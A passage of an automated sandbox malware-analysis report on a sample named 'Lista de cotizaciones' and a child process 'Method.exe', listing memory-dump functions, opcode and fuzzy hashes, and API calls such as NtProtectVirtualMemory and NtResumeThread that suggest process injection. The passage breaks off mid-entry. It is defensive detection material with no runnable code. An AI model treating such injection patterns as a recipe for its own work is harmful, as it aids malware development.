Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1346483f63c434625ca533f8920c7d86352ead26adf7217885425f92cbce09a1
Instruction ID: cafddd1d14606738f1615275cdd1f05c4fb073ffecefb5f4b703eb110d7f80ef
Opcode Fuzzy Hash: 1346483f63c434625ca533f8920c7d86352ead26adf7217885425f92cbce09a1
Instruction Fuzzy Hash: 02E0C238909208EBCB04DF94E94076CBBB8EB46304F1490D9C80827390D7719E42CF80

Function 05149F20 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eea907beb70cfdf7c87a778101b7d6f695249fd2440489b2a55466ed70049810
Instruction ID: a3bd9303c1883abbdd6d064394f3414dc30df39e1b4201b09cd8b67a9e750ec0
Opcode Fuzzy Hash: eea907beb70cfdf7c87a778101b7d6f695249fd2440489b2a55466ed70049810
Instruction Fuzzy Hash: CCE012B1811208EFCB40EFB0C90075EB7F9EF46211F0019A99505A7160EA754A509BA5

Function 05143F68 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55e63ccb8aeadaba0a2664183cabf448900e7f91cf61b02f45952690c63147e2
Instruction ID: f779554faa1d5720cb103f5b32456fefe0c2325b3123a24032f9824b8c9eae2a
Opcode Fuzzy Hash: 55e63ccb8aeadaba0a2664183cabf448900e7f91cf61b02f45952690c63147e2
Instruction Fuzzy Hash: 76E01274D5535CEFC748DFB8D9457ADBBF8EB05201F5014A98809E3250E7305A94CB41

Function 05148F90 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 946bc66f0381bc9850f1ffb00ef19021697f71412f3e0ec2837dcb4495b3eafd
Instruction ID: ca5ecf2d34db603eb359800b5e5c8dd5aefa96d89eb6f44b5082c116465b963a
Opcode Fuzzy Hash: 946bc66f0381bc9850f1ffb00ef19021697f71412f3e0ec2837dcb4495b3eafd
Instruction Fuzzy Hash: F8F0157490022A8FDB24DF14C848B9EBBB2FB04B10F0191E59509A7385D7305EC4CF55

Function 05144BD0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1346483f63c434625ca533f8920c7d86352ead26adf7217885425f92cbce09a1
Instruction ID: 66534e1e5107049680c94d32beee690fed6db5b845aed978065e31adb790bd54
Opcode Fuzzy Hash: 1346483f63c434625ca533f8920c7d86352ead26adf7217885425f92cbce09a1
Instruction Fuzzy Hash: 95E0123890D208EBCB14DF94D98176CBBB9EB8A315F6091D9C80927391C7729E52DB85

Function 0268EF60 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73b610350109d951ab99a61f700d889c50f3cf05c5acdb149d985fb9b931e1b9
Instruction ID: f126c813b5c5b9b905c94ee3d420bf24befaaec4d9a1c7ba705d27a96608195d
Opcode Fuzzy Hash: 73b610350109d951ab99a61f700d889c50f3cf05c5acdb149d985fb9b931e1b9
Instruction Fuzzy Hash: C0E0C271801308EFC740EFB0D90475E77FCEB0A201F0004E5D509E7160EB714A00DBA5

Function 071BB948 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1386829942.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71a0000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44498a3058bdafd5b7f34c234063765d12c8778622120c2537f1809e2b1d91f9
Instruction ID: 901f9538b53af11c643c6ad7f339610e81a7ef894ef1578fd5082d3221261683
Opcode Fuzzy Hash: 44498a3058bdafd5b7f34c234063765d12c8778622120c2537f1809e2b1d91f9
Instruction Fuzzy Hash: 75E012B1941318EBCB51EFB4C90079E77FDEF46210F0009A5D505A75A0EA714A50A795

Function 071BBF40 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1386829942.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71a0000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a02e2cd1494464501dc3c9612ecf7f58c396c7b14a5854eb0bd5fe432495585
Instruction ID: 5e3fb6e67d13272f4b725b233ca26e1d009c998910782e53b74b8f307048750d
Opcode Fuzzy Hash: 7a02e2cd1494464501dc3c9612ecf7f58c396c7b14a5854eb0bd5fe432495585
Instruction Fuzzy Hash: BCE0ECB4919308EFCB54DFA8E54979CBBF8EB09201F5000A9C909A3691E7705A50DB41

Function 071BE578 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1386829942.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71a0000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c471b6848e595ea09d9100eb47cdec956869b082751be8b4cb2532e4007df8cd
Instruction ID: 372018537ae56fa0c0806bc18338d614ed94f9403e8fb0c596a39ab7cd5d28eb
Opcode Fuzzy Hash: c471b6848e595ea09d9100eb47cdec956869b082751be8b4cb2532e4007df8cd
Instruction Fuzzy Hash: 63E0C2BC908208EBC714DF94E980AECBBB8EB4B300F1080DDC80827390DB319E56CB80

Function 05143848 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0490e316aab2f107eb45999e74b0929737924c0e378e3cf7ef7a9f1f006bc166
Instruction ID: a98acaa79d43a85ff224261e7c41bd2abaeef1c69a31b17011707ff0acd541ed
Opcode Fuzzy Hash: 0490e316aab2f107eb45999e74b0929737924c0e378e3cf7ef7a9f1f006bc166
Instruction Fuzzy Hash: A7E0C234808208EFC744DFA8C50036CFBF8EB0A201F1085DDC85857392D7319E81DB40

Function 05141F10 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0490e316aab2f107eb45999e74b0929737924c0e378e3cf7ef7a9f1f006bc166
Instruction ID: c44648885283ea1d6533e99bf02186da5441da38478b3dd7549f71e3bd61cd99
Opcode Fuzzy Hash: 0490e316aab2f107eb45999e74b0929737924c0e378e3cf7ef7a9f1f006bc166
Instruction Fuzzy Hash: F9E0C234808208EFC704DFA4D5003ACBBF8EB0A201F1090D9C80857391D7369E86CB40

Function 05145298 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0490e316aab2f107eb45999e74b0929737924c0e378e3cf7ef7a9f1f006bc166
Instruction ID: c88a4c47739cef04e77eee21e27385de385846996c7dc5433c3eafca263d6a6b
Opcode Fuzzy Hash: 0490e316aab2f107eb45999e74b0929737924c0e378e3cf7ef7a9f1f006bc166
Instruction Fuzzy Hash: 98E0C234809308EFC744DFA4C90076CBBF9EB0A201F1040DACC4957391D7319E41CB80

Function 05145558 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 281e117af97124f792902b7d38ea0d9c0a432801eb02a076d8dd389200697652
Instruction ID: 20e062c896eb763d4f44c9d48e542d6b7ff336d3d8041e30b2aad1172c0c906b
Opcode Fuzzy Hash: 281e117af97124f792902b7d38ea0d9c0a432801eb02a076d8dd389200697652
Instruction Fuzzy Hash: B7D05E74909248EBC704CB94D900B79B3AEEB46204F546099880D5B3A1DB329D01CB90

Function 0268B438 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d52a1ada18de3a9f0ccfefff4d9bd589748120c8005f3f44bee0e4580f8b8aa5
Instruction ID: 991a9d901b6aa047c647444b97f24fa818e9388ce45198de59ed868570939774
Opcode Fuzzy Hash: d52a1ada18de3a9f0ccfefff4d9bd589748120c8005f3f44bee0e4580f8b8aa5
Instruction Fuzzy Hash: 63D0A72100FB806AD3162360B83E7657FBCD757309F4915C6D148864B3C778089AC766

Function 051418F3 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04a55b590ea8aa9a7dbe9d64591a57ffe7bcf72a180df390657428c43f357ae3
Instruction ID: 9a55f471f8d32ab8cae09f29eb78d2f28c0634e99ce1a1e4281df2b52b184930
Opcode Fuzzy Hash: 04a55b590ea8aa9a7dbe9d64591a57ffe7bcf72a180df390657428c43f357ae3
Instruction Fuzzy Hash: C3E086708082588FDB24CF65D9183EE7EF1AB09704F109096C54967285C7780AD8DF11

Function 05144D9C Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1852eed2337a056f949a3eeb606635f3c11a8029c0eabb1bd86d89535ad2cc8
Instruction ID: b9f60a1e4037f8c344ab9be8a65ded49df4e953f870b0069e1ac3ec15eae2031
Opcode Fuzzy Hash: e1852eed2337a056f949a3eeb606635f3c11a8029c0eabb1bd86d89535ad2cc8
Instruction Fuzzy Hash: 0CE0C778A04348CFCB00EF61D04868CBFB2EB06300F00A05AE419AB342CB700844CF09

Function 071BE918 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1386829942.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71a0000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 819554fd544da6b15e06dc6588ab600f1523fa511a3ced2b44cf1f825e2a626c
Instruction ID: 7ad7e728533f26bed2e5c4f6ade52c23ae81433f92291da6276724c0af71bf28
Opcode Fuzzy Hash: 819554fd544da6b15e06dc6588ab600f1523fa511a3ced2b44cf1f825e2a626c
Instruction Fuzzy Hash: 06C02BB006A708CBC6643770B90C3F433ECD307243F803840C20C014F08770605CC644

Function 05141225 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d27d7b49e4c4841733779eb5e441198d211ef6f0ec2877549632d22c096861a3
Instruction ID: 12278fd547ff002fa5c0c7a9b92338fe0691985738f03fd84b079cdf3af61b72
Opcode Fuzzy Hash: d27d7b49e4c4841733779eb5e441198d211ef6f0ec2877549632d22c096861a3
Instruction Fuzzy Hash: 7DD0A7709082188FC714DF25D4143ED7EF1EB4D700F0080A5C44967385DB740A88DF21

Function 0268ED88 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eff56d8e6a41e752462db71e66e8069040a4d1660b2fcff3031468240af84fc7
Instruction ID: 5f41625a312cf376f5ca770c443d4517d3cce3f6c17a25070bd8c7fe9043973d
Opcode Fuzzy Hash: eff56d8e6a41e752462db71e66e8069040a4d1660b2fcff3031468240af84fc7
Instruction Fuzzy Hash: 8EC08C7E0003088BC3507FA0FC0D32C36ACEF02687F800110E20C598A08B704054CA2A

Function 02680880 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27c138a11fed3dc8baea95699d83293ee1234b7e0e819b6817301495267ba176
Instruction ID: 71c69838d4d1ee138b777cd93d27d1d1499142c8f83c7521a43997a729405787
Opcode Fuzzy Hash: 27c138a11fed3dc8baea95699d83293ee1234b7e0e819b6817301495267ba176
Instruction Fuzzy Hash: 30C09B75010B068FC7C9DF78E9D5754F7DCF746316F501141D4085D461D77462815D65

Function 02680890 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c3c75a26cb9cdafafe9ed644d4861743e8320a9e56eaa57857937f747a9537a
Instruction ID: 0cb666b03a009cd2e5224bff6acde94f205845c7d0750f010d71dfb3742e74d1
Opcode Fuzzy Hash: 7c3c75a26cb9cdafafe9ed644d4861743e8320a9e56eaa57857937f747a9537a
Instruction Fuzzy Hash: 42902230000B0C8B000023A83808328330C82000023800000A00C208000B00200000A2

Non-executed Functions

Function 0514AB3D Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1382559563.0000000005140000.00000040.00000800.00020000.00000000.sdmp, Offset: 05140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5140000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1452b6f0d7380faca7b865ba6cf4f4d344519ebc05c96080d054a90d043cdede
Instruction ID: b4f894490bfc37ce045e259bddca237fcd1cdc9b16e7ef017f1aba8e0e8cf99a
Opcode Fuzzy Hash: 1452b6f0d7380faca7b865ba6cf4f4d344519ebc05c96080d054a90d043cdede
Instruction Fuzzy Hash: C5515F74A00118CFCB54EFA9E551A9EB7F2FB8D301F60A169E40AEB389DB305D858F10

Function 071BE948 Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1386829942.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71a0000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb3e36d7a7ab8018b72d27f4755a7f5f0312e840989b1f9d89cb70c87ea4977c
Instruction ID: 93ecb893c078af1c6f522b41fc33338542a89f327ec2daba4f8714fc804eb5be
Opcode Fuzzy Hash: cb3e36d7a7ab8018b72d27f4755a7f5f0312e840989b1f9d89cb70c87ea4977c
Instruction Fuzzy Hash: 15610A74A05218DFDB54DF39D955BA9BBF2FB49300F4080EAD50AA7394EB359988CF00

Function 071A0006 Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1386829942.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71a0000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a86da70230480dfc0f9d3d85d740038950a197a059253262bb822cd953e8ef32
Instruction ID: e7c7a4f4c72c80225710ef7ff41750e6c46e3333b8af83d0b0add2d2be70a4ff
Opcode Fuzzy Hash: a86da70230480dfc0f9d3d85d740038950a197a059253262bb822cd953e8ef32
Instruction Fuzzy Hash: AF315071D097958FE72ACF2ACC5468ABFF6AF8A200F09C0EAC4489B151E7344985CF11

Function 071A0040 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1386829942.00000000071A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 071A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_71a0000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb970ed6e9f2556f5c2b5aab4db5772f414ef42f2b339c08bfc49103f1b32497
Instruction ID: d1b56a8b7dfd869f66bc4af12667069fc2292461652c7544a613f6f9f42e003f
Opcode Fuzzy Hash: bb970ed6e9f2556f5c2b5aab4db5772f414ef42f2b339c08bfc49103f1b32497
Instruction Fuzzy Hash: 0131ECB5D04629DBEB68CF2ACC547DAFAF6AF89300F00C1EAD41D67255EB704A858F11

Function 0268B6C0 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8d9187735b51759c93d1ae742413a057b1335576633298bf2a65b0600b30b67
Instruction ID: ed9129f5995bbc7478bce541827c97cff58bcaa521b04e49279aa57d7f268535
Opcode Fuzzy Hash: a8d9187735b51759c93d1ae742413a057b1335576633298bf2a65b0600b30b67
Instruction Fuzzy Hash: F53177B1D056188BEB68DF6BCD5878AFAF6BF89304F14C1A9C50CA6254DB740A858F00

Function 0268B6B0 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1360646455.0000000002680000.00000040.00000800.00020000.00000000.sdmp, Offset: 02680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2680000_Lista de cotizaciones.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66754569c2ce5df71aa4fe6787d4677ca165f9976d16466cf7f2de75b84f1bae
Instruction ID: 9bf9661d85a6110729fbab89da90ee0bb490c5d00a88e574d72c314783db076e
Opcode Fuzzy Hash: 66754569c2ce5df71aa4fe6787d4677ca165f9976d16466cf7f2de75b84f1bae
Instruction Fuzzy Hash: 6631A7B1D056188BEB68CF6BCD4478AFBF7AFC9304F14C1AAD44CA6265DB740A858F50

Analysis Process: Method.exePID: 5976, Parent PID: 7328COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.3%
Total number of Nodes:	232
Total number of Limit Nodes:	14

Executed Functions

Function 04B3A430 Relevance: 1.9, Strings: 1, Instructions: 680
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(q, xrefs: 04B3A5E8

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID: (q
API String ID: 0-2414175341
Opcode ID: 1015ac6221ca4212702397d7b07993ac3d5ed8a3780d61d97572ec2e7551e4dd
Instruction ID: 73ebcb05b38aea83d2138dba83809a42839f5c4d00ed9de1e9598dec89acfad4
Opcode Fuzzy Hash: 1015ac6221ca4212702397d7b07993ac3d5ed8a3780d61d97572ec2e7551e4dd
Instruction Fuzzy Hash: B0429970B002168FDB18DFAAC49466EFBF2FF88301F248569D59A97390DB34A945CB94

Function 04B18490 Relevance: 1.7, APIs: 1, Instructions: 226
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 04B18521

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 47c571f0126d3f6cde727f2933b638c035753a9c71675979e321c1cdc9c2cce4
Instruction ID: 4b5c8bd458708f3af12dacfb458bbdd2b9d2adcf986af2a6fd17b6ccbb9600d5
Opcode Fuzzy Hash: 47c571f0126d3f6cde727f2933b638c035753a9c71675979e321c1cdc9c2cce4
Instruction Fuzzy Hash: A5A107B4E00209DFDB04DFA9D490A9EBBF5FF48310F50846AE519AB360DB74A946CF94

Function 04B18498 Relevance: 1.6, APIs: 1, Instructions: 63
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 04B18521

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: a15f2fa0eb3f7653ee0d1d23883402bb5f9cba4c515139b727a665600480311e
Instruction ID: 4162c2bf884b257c13136979e75e9f9ba50ef62a31198b55e220b25ec9c964c4
Opcode Fuzzy Hash: a15f2fa0eb3f7653ee0d1d23883402bb5f9cba4c515139b727a665600480311e
Instruction Fuzzy Hash: 352116B1D003499FDB10DFAAD880ADEFBF5FF48310F20842AE419A7250C775A901CBA0

Function 04B194C8 Relevance: 1.6, APIs: 1, Instructions: 56nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 04B1953E

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4be2b3669dfc542594d632330225169efea8cac719f115956ee9324612c0c5d5
Instruction ID: 1ccb370b9c3d6d3c4e72ab48878d1142966a17c3f2e60a4dea3178d2feee7294
Opcode Fuzzy Hash: 4be2b3669dfc542594d632330225169efea8cac719f115956ee9324612c0c5d5
Instruction Fuzzy Hash: 1E11E5B1D002488EDB20DFAAD4857EEFBF4EF58220F10842AD459A7250DB78A945CFA0

Function 04B194D0 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 04B1953E

Memory Dump Source

Source File: 0000000A.00000002.1560658881.0000000004B10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b10000_Method.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: d2a976f394c8054f1a15f913aabf6c905da29996f9e15d910eb7ed7c1ee96dd3
Instruction ID: 62bd278919a8d48aa8ae3c8c463a90be938d2c62fd4012cdde103cec8ad06239
Opcode Fuzzy Hash: d2a976f394c8054f1a15f913aabf6c905da29996f9e15d910eb7ed7c1ee96dd3
Instruction Fuzzy Hash: 4211E7B1D003488FDB20DFAAC48579EFBF5FF48220F54842AD419A7250DB79A945CFA1

Function 01192599 Relevance: .3, Instructions: 316COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1537489490.0000000001190000.00000040.00000800.00020000.00000000.sdmp, Offset: 01190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c996760731b2fa98874e48ea988b68a361107e9083f7def32b5f2beabfe09e20
Instruction ID: 19e944534d3df23cb5ee8403caf57719c4de3b23854639c7c9eff611d432dde4
Opcode Fuzzy Hash: c996760731b2fa98874e48ea988b68a361107e9083f7def32b5f2beabfe09e20
Instruction Fuzzy Hash: AED15734A00218EFEB19CF68C054BEDB7F2FB89310F55C5A5D866AB395D734A881CB52

Function 01192640 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1537489490.0000000001190000.00000040.00000800.00020000.00000000.sdmp, Offset: 01190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_1190000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80a6a16663d381c91630870688668fa8d21508a4fe106f99f2130f5147d12b25
Instruction ID: a2f84e1053bf7f0a7d882ef9825ef36e0bfd58ab95e42eb87eee4cdfd45bec8d
Opcode Fuzzy Hash: 80a6a16663d381c91630870688668fa8d21508a4fe106f99f2130f5147d12b25
Instruction Fuzzy Hash: 67D15734A00218EFEB19CF68C490BEDB7F2FB89310F55C565D866AB395D734A881CB52

Function 04B3F020 Relevance: .3, Instructions: 307COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e5b099c88325af805ce2bc3c9894f4864a79ca59baa353f78172c72d31ffa89
Instruction ID: a89f4d53c7c0fdece2f008ae058910d715e44015e374a8c113af0dca9b6e501d
Opcode Fuzzy Hash: 6e5b099c88325af805ce2bc3c9894f4864a79ca59baa353f78172c72d31ffa89
Instruction Fuzzy Hash: 0AD13674E04218CFEB54DFA9D894BADBBF2FB49305F1081AAD549AB290DB346D85CF10

Function 04B3F030 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13bb06a8ef588cbbea47ea8cb91c9a8d66b69380547ee638650375d6c3c6327f
Instruction ID: 3f28ed181297027ddf442b6d1fc5730d35417d0afd3eeb1bbe70577fcfb91af3
Opcode Fuzzy Hash: 13bb06a8ef588cbbea47ea8cb91c9a8d66b69380547ee638650375d6c3c6327f
Instruction Fuzzy Hash: 46D12674E04218CFEB54DFA9D894BADBBF6FB49305F1081AAD509AB290DB346D85CF10

Function 04B3F58C Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1560832799.0000000004B30000.00000040.00000800.00020000.00000000.sdmp, Offset: 04B30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_4b30000_Method.jbxd

Similarity

API ID:
String ID:
API String ID:
